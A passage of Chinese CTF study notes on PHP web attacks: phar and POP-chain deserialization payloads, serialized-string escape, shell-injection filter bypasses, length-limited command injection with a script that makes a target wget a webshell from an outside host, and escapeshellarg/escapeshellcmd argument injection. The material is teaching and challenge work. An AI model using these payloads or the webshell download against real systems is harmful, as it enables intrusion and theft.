57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

file.php?file=index.php

1
2
3
4
<?php 
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>

file.php?file=upload_file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>

</script>
</body>
</html>

file.php中存在file_exists($file)可以通过phar进行反序列化

function.php中通过upload_file_check对文件类型进行了限制

class.phpTest类下的file_get函数中存在file_get_contents,可以尝试对flag进行读取

Test::file_getTest::__get进行调用,__get方法有个特性,当访问类中某个不存在的变量时,会自动对__get进行调用,但是没有代码可以直接对Test类进行调用,因此需要在某个地方新建一个Test

注意到在Show类下的__toString函数中有$this->str['str']->source,假设this->str['str']指向Test类,而Test->source不存在,因此会对Test::__get产生调用,因此可以将this->str['str']设置为Test

__toString方法在试图将类作为字符串输出时进行调用,而在C1e4r类中__destruct函数中有echo $this->test;,假设$this->test设置为Show,那么就可以对Show::__toString进行调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class C1e4r
{
public $test;
public $str;
public function __destruct()
{
$this->test = $this->str;
echo $this->test."\n";
}
}
class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $key;
}
}

$clear = new C1e4r();
$show = new Show();
$test = new Test();
$clear->str=$show;
$show->str['str']=$test;
?>

得到结果为source,说明Test::_get的参数$key的值为source,因此构造POP链时,params的键值为source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a=new C1e4r();
$b=new Show();
$c=new Test();

$a->str=$b;
$b->str['str']=$c;
$c->params['source']='/var/www/html/f1ag.php';

$phar=new Phar("asdf.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt","asdf");
$phar->stopBuffering();
system("mv asdf.phar asdf.gif");
?>

function.php中通过$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";对文件进行重命名,$_SERVER['REMOTE_ADDR']172.18.0.1,$_FILES["file"]["name"]asdf.gif

得到的md5为337def6af3af5b39784016d8a5e06f8c,最终的文件名为337def6af3af5b39784016d8a5e06f8c.jpg

payloadfile.php?file=phar://upload/337def6af3af5b39784016d8a5e06f8c.jpg

反序列化字符串逃逸

1
2
3
4
5
6
7
<?php 
class Demo{
public $a="asdf";
}
$test=new Demo();
echo serialize($test)."\n";
?>

O:4:"Demo":1:{s:1:"a";s:4:"asdf";}

1
2
3
4
5
6
7
<?php 
class Demo{
public $a="asdf";
}
$str='O:4:"Demo":1:{s:1:"a";s:4:"asdf";}123456';
var_dump(unserialize($str));
?>
1
2
3
4
object(Demo)#1 (1) {
["a"]=>
string(4) "asdf"
}

反序列化的过程是{最近的;}完成匹配并停止解析,在序列化结果的结尾加上无意义字符串仍然能够进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(E_ALL);
ini_set('display_errors','1');
$username="axxx";
$password="123456";
$user=array($username,$password);

echo serialize($user)."<br>";
$re=str_replace('x','yy',serialize($user));
echo $re."<br>";
unserialize($re);
?>
1
2
3
4
a:2:{i:0;s:4:"axxx";i:1;s:6:"123456";}
a:2:{i:0;s:4:"ayyyyyy";i:1;s:6:"123456";}

Notice: unserialize(): Error at offset 18 of 41 bytes in /var/www/html/test.php on line 11

要做到在str_replace后仍然能够正常进行反序列化,并修改密码

";i:1;s:6:"123456";}的长度为20,20+len=2*len,len=20,因此x共有20个

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(E_ALL);
ini_set('display_errors','1');
$username='axxxxxxxxxxxxxxxxxxxx";i:1;s:6:"654321";}';
$password="123456";
$user=array($username,$password);

echo serialize($user)."<br>";
$re=str_replace('x','yy',serialize($user));
echo $re."<br>";
var_dump(unserialize($re));
?>
1
2
3
a:2:{i:0;s:41:"axxxxxxxxxxxxxxxxxxxx";i:1;s:6:"654321";}";i:1;s:6:"123456";}
a:2:{i:0;s:41:"ayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:6:"654321";}";i:1;s:6:"123456";}
array(2) { [0]=> string(41) "ayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy" [1]=> string(6) "654321" }

反序列化对象逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(E_ALL);
ini_set('display_errors','1');
$demo=array();
$demo["name"]='adminadminadminadmin';
$demo["info"]='a";s:4:"info";s:10:"gululingbo";s:6:"secret";s:7:"7654321";}';
$demo["secret"]='123456';
print_r($demo);
echo "<br>".serialize($demo)."<br>";
$re=str_replace('admin','',serialize($demo));
echo $re."<br>";
var_dump(unserialize($re));
?>
1
2
3
4
Array ( [name] => adminadminadminadmin [info] => a";s:4:"info";s:10:"gululingbo";s:6:"secret";s:7:"7654321";} [secret] => 123456 )
a:3:{s:4:"name";s:20:"adminadminadminadmin";s:4:"info";s:60:"a";s:4:"info";s:10:"gululingbo";s:6:"secret";s:7:"7654321";}";s:6:"secret";s:6:"123456";}
a:3:{s:4:"name";s:20:"";s:4:"info";s:60:"a";s:4:"info";s:10:"gululingbo";s:6:"secret";s:7:"7654321";}";s:6:"secret";s:6:"123456";}
array(3) { ["name"]=> string(20) "";s:4:"info";s:60:"a" ["info"]=> string(10) "gululingbo" ["secret"]=> string(7) "7654321" }

当把admin替换之后,s:20仍然需要20个字符,为了满足反序列化的要求,会向后读取字符,直至凑齐20个字符,也就是读取";s:4:"info";s:60:"a,凑齐20个字符后恰好以";结尾

后面的s:4:"info";s:10:"gululingbo";s:6:"secret";s:7:"7654321";正常进行反序列化,然后遇到}且对象数量已经满足,因此反序列化正常结束

例题https://misaka.gq/2021/03/06/CTF-Web/#easy-serialize-php

POP链

样例1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
class DemoA{
public $a;
function __construct(){
$this->a=new DemoB();
}
function __destruct(){
$this->a->func();
}
}
class DemoB{
function func(){
echo "hacker"."<br>";
}
}
class DemoC{
private $a;
function func(){
eval($this->a);
}
}
unserialize($_GET['a']);
?>

payloada=O:5:"DemoA":1:{s:1:"a";O:5:"DemoC":1:{s:8:"%00DemoC%00a";s:13:"system("ls");";}}

注意DemoC中的$a为private变量要表示为%00DemoC%00a

样例2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
highlight_file(__FILE__);
class DemoA{
public $a;
public function __destruct(){
$this->a->func();
}
}
class DemoB{
public $a;
public function func(){
$this->a->func();
}
}
class DemoC{
public $a;
public function __call($tmp1,$tmp2){
$b=$this->a;
$b();
}
}
class DemoD{
public $a;
public $b;
public function __invoke(){
$this->a="Come on,".$this->b;
echo $this->a;
}
}
class DemoE{
public $a;
public function __toString(){
$this->a->flag();
return "very close!!!";
}
}
class getflag{
public function flag(){
echo "flag{xxx}";
}
}
unserialize($_GET['a']);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class DemoA{
public $a;
}
class DemoB{
public $a;
}
class DemoC{
public $a;
}
class DemoD{
public $b;
}
class DemoE{
public $a;
}
class getflag{
}
$a=new DemoA();
$b=new DemoB();
$c=new DemoC();
$d=new DemoD();
$e=new DemoE();
$flag=new getflag();
$a->a=$b;
$b->a=$c;
$c->a=$d;
$d->b=$e;
$e->a=$flag;
echo serialize($a);
?>

payloadO:5:"DemoA":1:{s:1:"a";O:5:"DemoB":1:{s:1:"a";O:5:"DemoC":1:{s:1:"a";O:5:"DemoD":1:{s:1:"b";O:5:"DemoE":1:{s:1:"a";O:7:"getflag":0:{}}}}}}

样例3

MRCTF2020 easypop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;//php://filter/read=convert.base64-encode/resource=flag.php
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;//Show()
public $str;//Test()
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;//Test::__get()
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//$this->source=Show(),在preg_match时调用__toString
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;//Modifier()
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;//Modifier::__invoke()
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$show1=new Show();
$show2=new Show();
$test=new Test();
$modifier=new Modifier();
$show1->str=$test;
$test->p=$modifier;
$show2->source=$show1;
var_dump(serialize($show2));
?>

payload?pop=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

注意Modifier中的$var为protected变量要表示为%00*%00var

样例4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user']; //user可控,但name不可控,通过浅复制使name取user的值,进而达到控制name的目的
}
}
public function __destruct() {
echo $this; //__toString
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
if(stristr($input, 'user')!==False){//$input中不能出现user,在反序列化时用大写的S替换小写的s即可用16进制表示user,进而绕过限制
die('Hacker');
} else {
unserialize($input);
}
}else {
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
<?php
class MyFile {
public $name='flag';
public $user='';
}
$a=new MyFile();
$a->name=&$a->user;//浅复制
var_dump(serialize($a));
?>

payload?input=O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"\75ser";R:2;}&user=php://filter/read=convert.base64-encode/resource=flag.php

shell注入

基本概念

  1. &&
1
2
command1 && command2 [&& command3 ...]
命令之间使用&&连接,实现逻辑与
  1. |

表示管道,将前一条命令的输出,作为后一条命令的参数

  1. ||
1
2
command1 || command2 [|| command3 ...]
命令之间使用||连接,实现逻辑或
  1. &

将任务置于后台执行

  1. ;

单行语句使用分号来区分代码块

  1. 反引号与$()
1
2
3
4
5
反引号或者`$()`间的内容,会被shell先执行,其输出被放入主命令后,主命令再被执行
cat `ls`
查看当前目录下的所有文件内容
cat $(ls)
查看当前目录下的所有文件内容
  1. (){}
1
2
3
4
5
6
7
8
9
10
(command1;command2;command3....)
{ command1;command2;command3...;} #第一条命令必须与左边的括号有一个空格,最后一条命令一定要有分号

相同点:
()和{}都是将命令放在括号里面,并且命令之间用分号隔开
不同点:
()只是对一串命令重新开一个子shell进行执行,{}对一串命令在当前shell执行
()最后一个命令可以不用分号,{}最后一个命令要用分号
()里的第一个命令和左边括号不必有空格,{}的第一个命令和左括号之间必须要有一个空格
()和{}中括号里面的某个命令的重定向只影响该命令,但括号外的重定向则影响到括号里的所有命令
  1. 输入输出重定向
命令 说明
command > file 将输出重定向到 file
command < file 将输入重定向到 file
command >> file 将输出以追加的方式重定向到 file
n > file 将文件描述符为 n 的文件重定向到 file
n >> file 将文件描述符为 n 的文件以追加的方式重定向到 file
n >& m 将输出文件 m 和 n 合并
n <& m 将输入文件 m 和 n 合并
<< tag 将开始标记 tag 和结束标记 tag 之间的内容作为输入

进行注入

  1. 通配符*?
1
2
cat f?ag
cat fl*
  1. []{}
1
2
3
cat fl[a-z]g
cat fl{a,b,c}g
{...}与[...]有一个很重要的区别,如果匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开
  1. 空格绕过
  • 使用<<>

cat<>file读写模式把文件file重定向到输入

1
2
cat<flag
cat<>flag
  • 使用IFS
1
2
3
cat$IFS\flag
cat${IFS}flag
cat$IFS$9flag
  • 使用URL编码替代
1
2
3
4
%20
+
%09(tab)
%3c(<)
  1. 黑名单绕过
  • 空变量
1
c$9at fl$9ag
  • 变量替换
1
a=fl;b=ag;cat $a$b
  • 编码绕过
1
2
3
4
echo 'Y2F0IGZsYWc='|base64 -d|bash
echo '63617420666c61670a'|xxd -r -p|bash
当bash被禁用时可以使用sh代替
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
  • 引号与反斜线
1
2
c'a't f'l'ag
c\at fl\ag
  • 利用已有资源与字符
1
2
3
4
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl
echo $PATH|cut -c 2,3
us

${PS2}对应字符>
${PS4}对应字符+

  1. 字符拼接

使用\\,这种方法是利用\来拼接字符串,其中前一个\是用来转义后一个\的,这里需要考虑时间顺序,需要逆序来创建文件

例题

  1. 七字绕过
1
2
3
4
5
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>

分别发送以下参数

1
2
3
4
5
6
7
8
9
10
?1=>hp
?1=>ell.p\\
?1=>\ sh\\
?1=>\ -O\\
?1=>com\\
?1=>x.\\
?1=>\ xx\\
?1=>wget\\
?1=ls -t>a
?1=sh a

wget xxx.com -O shell.php写入到一个a文件中并执行,使其从xxx.com下载webshell

参考脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3
#-*- coding: utf-8 -*-

import requests
def GetShell():
url = "http://192.168.56.129/shell.php?1="
fileNames = ["1.php","-O\ \\","cn\ \\","\ a.\\","wget\\"]
# linux创建中间有空格的文件名,需要转义,所以有请求"cn\ \\"
# 可以修改hosts文件,让a.cn指向一个自己的服务器。
# 在a.cn 的根目录下创建index.html ,内容是一个php shell

for fileName in fileNames:
createFileUrl = url+">"+fileName
print createFileUrl
requests.get(createFileUrl)

getShUrl = url + "ls -t>1"
print getShUrl
requests.get(getShUrl)
getShellUrl = url + "sh 1"
print getShellUrl
requests.get(getShellUrl)

shellUrl = "http://192.168.56.129/1.php"
response = requests.get(shellUrl)
if response.status_code == 200:
print "[*] Get shell !"
else :
print "[*] fail!"

if __name__ == "__main__":
GetShell()
  1. 五字绕过
1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

cmd的长度小于等于5,因此不能使用ls -t>a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@fface764cb0a:/tmp/tmp# >ls\\ 
root@fface764cb0a:/tmp/tmp# >\ \\
root@fface764cb0a:/tmp/tmp# >-t\\
root@fface764cb0a:/tmp/tmp# >\>a
root@fface764cb0a:/tmp/tmp# ls
' \' '-t\' '>a' 'ls\'
root@fface764cb0a:/tmp/tmp# ls>_ #写入
root@fface764cb0a:/tmp/tmp# ls
' \' '-t\' '>a' _ 'ls\'
root@fface764cb0a:/tmp/tmp# cat _
\
-t\
>a
_
ls\
root@fface764cb0a:/tmp/tmp# ls>>_ #追加模式写入
root@fface764cb0a:/tmp/tmp# cat _ #成功构建出ls -t>a
\
-t\
>a
_
ls\
\
-t\
>a
_
ls\

escapeshell

  1. escapeshellarg

escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的

1
2
3
4
5
<?php
var_dump(escapeshellarg("123"));
var_dump(escapeshellarg("12 ' 3"));
var_dump(escapeshellarg("12 '' 3"));
?>
1
2
3
string(5) "'123'"
string(11) "'12 '\'' 3'"
string(15) "'12 '\'''\'' 3'"
  1. escapeshellcmd

escapeshellcmd()对字符串中可能会欺骗shell命令执行任意命令的字符进行转义,此函数保证用户输入的数据在传送到exec()system()函数,或者执行操作符之前进行转义

反斜线\会在以下字符之前插入

1
2
3
&#;`|*?~<>^()[]{}$\
\x0A
\xFF

'"仅在不配对的时候被转义,在Windows平台上,所有这些字符以及%!都会被空格代替

1
2
3
4
5
<?php
var_dump(escapeshellcmd("123"));
var_dump(escapeshellcmd("12 ' 3"));
var_dump(escapeshellcmd("12 '' 3"));
?>
1
2
3
string(3) "123"
string(7) "12 \' 3"
string(7) "12 '' 3"

escapeshellcmd()escapeshellarg()一起使用的问题

1
2
3
4
5
6
7
8
9
10
11
<?php
$a="'";
$a=escapeshellarg($a);
var_dump($a);
var_dump("echo ".$a);
system("echo ".$a);
$a=escapeshellcmd($a);
var_dump($a);
var_dump("echo ".$a);
system("echo ".$a);
?>
1
2
3
4
5
6
string(6) "''\'''"
string(11) "echo ''\'''"
'
string(8) "''\\''\'"
string(13) "echo ''\\''\'"
\'
  1. escapeshellarg先对'单引号转义得到'\'',然后将其转换为字符串''\''',实际输出与原本一致

  2. escapeshellcmd前两个''已经匹配,跳过,\进行转义得到\\,然后两个''匹配,最后的'进行转义\',最终得到''\\''\',最终输出为\',与原输入不符

1
2
3
4
5
6
7
8
9
10
<?php
$param="127.0.0.1' -v -d a=1";
$a=escapeshellarg($param);
$b=escapeshellcmd($a);
$cmd="curl ".$b;
var_dump($a)."\n";
var_dump($b)."\n";
var_dump($cmd)."\n";
system($cmd);
?>
  1. 传入的参数是127.0.0.1' -v -d a=1

  2. escapeshellarg转义得到'127.0.0.1'\'' -v -d a=1'

  3. escapeshellcmd转义得到'127.0.0.1'\\'' -v -d a=1\'

  4. 处理后的payload中的\\被解释成了\而不再是转义字符,该payload可简化为curl 127.0.0.1\ -v -d a=1',可以理解为访问127.0.0.1\,并POST数据a=1'

例题见[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
if(isset($_GET['host'])) {
$host = $_GET['host'];
$host = escapeshellarg($host);
echo $host."<br>";
var_dump($host);
echo "<br>";
$host = escapeshellcmd($host);
echo $host."<br>";
var_dump($host);
echo "<br>";
system("echo ".$host);
}

传入' asdf

1
2
3
4
5
''\'' asdf'
string(11) "''\'' asdf'"
''\\'' asdf\'
string(13) "''\\'' asdf\'"
\ asdf'

则在''\\''\'之间存在一段自由空间可以进行写入,但要注意自由空间的第一个字符会进行转义处理